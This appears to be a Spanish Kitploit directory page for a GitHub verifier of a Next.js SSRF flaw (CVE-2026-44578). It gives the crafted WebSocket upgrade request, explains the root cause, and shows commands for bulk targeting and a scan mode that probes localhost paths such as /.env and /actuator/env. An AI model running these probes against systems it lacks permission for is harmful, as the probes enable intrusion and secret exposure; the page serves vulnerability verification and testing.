Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
verify-ghsa-c4j6-fc7j-m34r — Verificador OOB para GHSA-c4j6-fc7j-m34r / CVE-2026-44578 (SSRF por actualización WebSocket en Next.js) | Kitploit
Herramientas/GitHubGitHub/panchocosil/verify-ghsa-c4j6-fc7j-m34r
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónRed Teaming
GitHubpanchocosil/verify-ghsa-c4j6-fc7j-m34r

verify-ghsa-c4j6-fc7j-m34r

Verificador OOB para GHSA-c4j6-fc7j-m34r / CVE-2026-44578 (SSRF por actualización WebSocket en Next.js)

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
hace 3 mesesAún no revisado

verify-ghsa-c4j6-fc7j-m34r

Verificador in-band para GHSA-c4j6-fc7j-m34r / CVE-2026-44578 — Falsificación de peticiones del lado del servidor (SSRF) en Next.js mediante peticiones de upgrade WebSocket.

⚠️ Solo para pruebas de seguridad autorizadas. Eres responsable de asegurarte de que tienes permiso para probar cada objetivo que pases a este script.

La vulnerabilidad

CampoValor
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CWECWE-918 (SSRF)
CVSS v3.18.6 (Alto) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Afectadonext >=13.4.13 <15.5.16, >=16.0.0 <16.2.5
Parcheado15.5.16, 16.2.5
Commit de correcciónc4f69086
No afectadoAlojado en Vercel; output: "export"; despliegues detrás de un proxy inverso que no reenvía Upgrade

Cómo funciona realmente el bug (verificado empíricamente contra 15.5.15 vs 15.5.16)

  1. Un atacante abre una conexión TCP a un proceso Next.js autoalojado y envía un upgrade WebSocket HTTP/1.1 cuya request-URI es una URL absoluta:

    root@kitploit:~
    GET http://anything/<path> HTTP/1.1
    Host: <target>
    Connection: Upgrade
    Upgrade: websocket
    Sec-WebSocket-Version: 13
    Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
    
  2. En resolveRoutes, la URL contiene // (como toda URI absoluta), lo que coincide con la rama de "normalizar barras repetidas". Esa rama retorna anticipadamente con { finished: true, statusCode: 308, parsedUrl: <mangled> }. El normalizador colapsa http://host/path en http:/host/path (una sola barra).

  3. En router-server.ts, el manejador de upgrade anterior al parche ignoraba finished/statusCode y solo comprobaba parsedUrl.protocol. Como el protocolo sobrevive a la normalización, llamaba a proxyRequest(...).

El fix (commit c4f69086) hizo que el manejador de upgrade comprobara finished && !statusCode antes de hacer proxy. El caso de normalización 308 ahora falla la comprobación !statusCode y el socket se cierra en su lugar.

Por qué un verificador OOB basado en callbacks no funciona para este CVE

El proxy nunca alcanza un host externo. Si configuras un interactsh / Burp Collaborator / webhook canary y esperas que el proceso de Next llame a casa, no lo hará — la conexión va a localhost en la máquina objetivo. Por lo tanto, este verificador utiliza una señal in-band leída desde el socket de upgrade: un servidor vulnerable devuelve un cuerpo de error reconocible, un servidor parcheado no devuelve nada.

Impacto práctico

El objetivo del SSRF está restringido pero sigue siendo relevante en despliegues reales:

  • Contenedores sidecar / proxies inversos / paneles de administración co-ubicados en el mismo host que escuchan en 127.0.0.1:80 o :443 y confían en peticiones originadas desde localhost.
  • Socket de Docker expuesto vía HTTP en 127.0.0.1:80 (poco común pero visto).
  • Path traversal hacia cualquier servicio HTTP localhost con ruta URI controlada por el atacante y semántica de upgrade WebSocket.

Los endpoints de metadatos de AWS / GCP / Azure (169.254.169.254) no son directamente alcanzables porque el bug fija el destino a localhost.

Modelo de detección

Para cada objetivo, el script abre un socket TCP (o TLS) crudo, envía el upgrade manipulado, lee la respuesta y produce dos señales:

  • verdict — si el bug está presente.
  • impact_confirmed — si el SSRF realmente exfiltró datos (es decir, un servicio co-ubicado en localhost:80/443 del objetivo respondió y obtuvimos su respuesta).

Cuando impact_confirmed es true, la salida JSON también incluye upstream_status, upstream_server y upstream_content_type extraídos de la respuesta filtrada (útil para triaje / redacción de informes).

Guardia contra falsos positivos del proxy front-end

Por defecto, cada objetivo también recibe una sonda de control con la misma línea de petición de URI absoluta pero sin cabeceras Upgrade (Connection: close). Si el front-end devuelve la misma respuesta a ambas sondas (línea de estado + tamaño dentro de la tolerancia), el front-end del propio host está rechazando la línea de petición de URI absoluta en sí — nginx 400, Apache 400, borde CDN — y el SSRF nunca llegó a Next. El veredicto se degrada a front_end_intercepts y la salida JSON incluye front_end_status y front_end_server extraídos de la respuesta del proxy para que el operador pueda identificar qué está interceptando.

Esto elimina un falso positivo del mundo real observado cuando Next autoalojado está detrás de nginx/Apache: esos proxies rechazan la línea de petición GET http:///x HTTP/1.1 de la sonda con un 400 genérico, que el detector anteriormente malinterpretaba como vulnerable_proxy_succeeded. Pasa --no-control-probe para desactivar esta protección y ver los veredictos crudos.

Requisitos

  • Python 3.10+
  • Sin dependencias de terceros (solo stdlib)

Uso

root@kitploit:~
# single target
python3 verify_ghsa_c4j6.py --target https://app.example.com

# multiple targets via flag repetition
python3 verify_ghsa_c4j6.py \
    --target https://app1.example.com \
    --target app2.example.com:3000 \
    --target 10.0.0.5:80

# from a file (one target per line; '#' for comments)
python3 verify_ghsa_c4j6.py --targets-file targets.txt

# from stdin
cat targets.txt | python3 verify_ghsa_c4j6.py

# JSON Lines output for downstream tooling
python3 verify_ghsa_c4j6.py --targets-file targets.txt --json

# Enumerate co-located services on the target's localhost:80/443 via the bug
python3 verify_ghsa_c4j6.py --target https://app.example.com --scan

# Same, with a custom path list
python3 verify_ghsa_c4j6.py --target ... --scan-paths-file my_paths.txt

Modo scan

--scan sondea una lista integrada de rutas comunes (módulos de estado de Apache/nginx, endpoints de salud y métricas, Spring Boot Actuator, Go pprof, endpoints del daemon de Docker, paneles de administración comunes, archivos de configuración con fugas, rutas de Elasticsearch, etc.) a través del gadget SSRF.

Por defecto, el modo scan ejecuta una sonda de línea base diferencial adicional con una ruta aleatoria inexistente por objetivo. Las sondas posteriores se etiquetan DIFF solo cuando su firma (status, body length) diverge de la línea base — los 404 uniformes de un upstream que "no encontró nada" se marcan como noise y no inflan el contador de aciertos. Pasa --no-differential para informar de cada sonda que alcanzó un servicio (comportamiento heredado).

La salida se agrupa por objetivo:

root@kitploit:~
=== vulnscope.local:3030 ===
  baseline (random path): verdict=vulnerable_proxy_succeeded   status=404  bytes≈500
  [VULN+] DIFF  /                              impact=YES  status=200  ct='text/html'
  [VULN+] DIFF  /.env                          impact=YES  status=200  ct='application/octet-stream'
  [VULN+] DIFF  /admin                         impact=YES  status=200  ct='application/octet-stream'
  [VULN+] DIFF  /index.html                    impact=YES  status=200  ct='text/html'
  [VULN+] DIFF  /server-status                 impact=YES  status=200  ct='application/octet-stream'
  [VULN+] noise /_health                       impact=YES  status=404  ct='text/html;charset=utf-8'
  [VULN+] noise /actuator/env                  impact=YES  status=404  ct='text/html;charset=utf-8'
  ... (53 more 404 'noise' paths suppressed) ...
  -> 5 differential hit(s) / 58 probes
  -> upstream server(s) seen: SimpleHTTP/0.6 Python/3.14.4

Las filas DIFF son los aciertos reales — rutas cuya respuesta divergió de la línea base de ruta aleatoria (estado diferente, longitud de cuerpo diferente). Las filas noise también alcanzaron un servicio HTTP, pero produjeron la misma respuesta monótona que la línea base — típicamente 404 uniformes que al operador no le importan. Cuando cada sonda es noise y no hay divergencia con la línea base, el bug sigue presente pero nada útil está escuchando en localhost:80/443 de ese host.

Opciones

Los objetivos pueden ser host, host:port o URLs completas http(s)://....

Soporte de proxy

Tuneliza todas las sondas a través de un proxy HTTP CONNECT para inspección en Burp / mitmproxy / OWASP ZAP:

root@kitploit:~
# plain HTTP target via Burp
python3 verify_ghsa_c4j6.py --target http://app.example.com --proxy http://127.0.0.1:8080

# HTTPS target via Burp (Burp MITMs TLS — need --insecure or install Burp CA)
python3 verify_ghsa_c4j6.py --target https://app.example.com --proxy http://127.0.0.1:8080 --insecure

# proxy with basic auth
python3 verify_ghsa_c4j6.py --target ... --proxy http://user:[email protected]:3128

El proxy ve un CONNECT host:port seguido del payload de upgrade crudo — útil cuando quieres que Burp registre/reproduzca/modifique las sondas SSRF.

Reproducción local

Puedes montar un laboratorio vulnerable con cinco comandos:

root@kitploit:~
mkdir vuln-lab && cd vuln-lab
npm init -y && npm i [email protected] react@19 react-dom@19
mkdir pages && echo 'export default () => "ok"' > pages/index.js
npx next build && npx next start -p 3030 &
python3 ../verify_ghsa_c4j6.py --target 127.0.0.1:3030

Salida:

root@kitploit:~
[ VULN] target=127.0.0.1:3030  verdict=vulnerable  impact= no
        snippet: 'Internal Server Error'

Repite con [email protected] y deberías ver verdict=likely_patched.

Demo de impacto (exfiltración real de datos)

demo_impact.sh ejecuta Next en :80 (de modo que su objetivo SSRF fijado a localhost es el mismo proceso de Next) y lee el HTML del propio Next a través del bug. Requiere sudo para el enlace del puerto privilegiado.

root@kitploit:~
LAB_DIR=/path/to/next-vuln-lab ./demo_impact.sh

La salida esperada termina con IMPACT CONFIRMED — SSRF reached a service on the target localhost and read response data back.

Advertencias

  • Falsos negativos: cualquier proxy inverso delante de Next que no reenvíe la cabecera Upgrade enmascarará la vulnerabilidad; el script informará likely_patched. Vuelve a probar directamente contra el proceso de Next si puedes.
  • Falsos positivos: la cadena literal Internal Server Error podría teóricamente ser devuelta por un proxy upstream por su cuenta. Para descartarlo, reenvía el mismo payload con Connection: close en lugar de Connection: Upgrade — un Next realmente vulnerable deja de devolver el cuerpo de Internal Server Error en ese caso (ruta de código diferente).
  • Objetivos solo HTTP/2: no se manejan. next start usa HTTP/1.1 por defecto.

Uso responsable

Prueba únicamente sistemas que poseas o para los que tengas autorización explícita y por escrito para evaluar.

Referencias

  • Aviso: https://github.com/advisories/GHSA-c4j6-fc7j-m34r
  • Lanzamiento de Next.js v15.5.16: https://github.com/vercel/next.js/releases/tag/v15.5.16
  • Lanzamiento de Next.js v16.2.5: https://github.com/vercel/next.js/releases/tag/v16.2.5
  • Commit de corrección: https://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8

Licencia

MIT

Descargar herramienta
  • proxyRequest ejecuta url.format(parsedUrl) sobre la URL alterada, obteniendo http:/host:port/path. http-proxy analiza ese destino, no encuentra host (url.parse('http:/...').host === null), y cae a su destino predeterminado: localhost:80 (o localhost:443 para https).

  • Entonces, en la práctica, el SSRF permite hacer que Next abra un upgrade WebSocket al localhost:80 / localhost:443 del propio host de Next.js con una ruta controlada por el atacante.

  • RespuestaVeredictoimpact_confirmed
    Contiene Internal Server Errorvulnerablefalse — bug probado, pero el proxy no alcanzó nada en localhost
    Empieza con HTTP/1.vulnerable_proxy_succeededtrue — datos de respuesta reales exfiltrados
    Vacía / cierre limpiolikely_patchedfalse — también cubre "no es Next", "el proxy inverso eliminó Upgrade", "Vercel"
    Idéntica al control sin Upgradefront_end_interceptsfalse — el proxy front-end cortocircuitó ambas sondas; el SSRF nunca llegó a Next
    Cualquier otra cosainconclusivefalse
    OpciónDescripciónPor defecto
    --target URLUn único objetivo. Repite para múltiples.—
    --targets-file PATHArchivo con un objetivo por línea.—
    --probe-path PATHRuta utilizada en la URI absoluta manipulada. Alcanza el servicio localhost del objetivo en esta ruta (registrada con un sufijo de token por objetivo)./x
    --scanEnumera rutas comunes en el servicio localhost de cada objetivo. Envía una sonda de línea base diferencial por objetivo más la lista de rutas.desactivado
    --scan-paths-file PATHLista de rutas personalizada para el modo scan (una por línea). Implica --scan.integrada
    --no-differentialEn modo --scan, omite la sonda de línea base e informa de cada sonda que alcanzó un servicio (comportamiento heredado).desactivado
    --no-control-probeDesactiva la guardia de cortocircuito del front-end (sonda extra sin Upgrade por objetivo). Útil cuando se sabe estrictamente que los objetivos son procesos Next directos.desactivado
    --timeout SECTiempo de espera por socket.5
    --concurrency NSondas en paralelo.10
    --insecureOmite la verificación del certificado TLS. Requerido con --proxy al hacer MITM de TLS.desactivado
    --proxy URLTuneliza a través de un proxy HTTP CONNECT (Burp / mitmproxy / ZAP). Soporta autenticación básica mediante http://user:pass@host:port. Requiere Python 3.11+ para objetivos TLS.directo
    --jsonEmite JSON Lines en lugar de texto legible.desactivado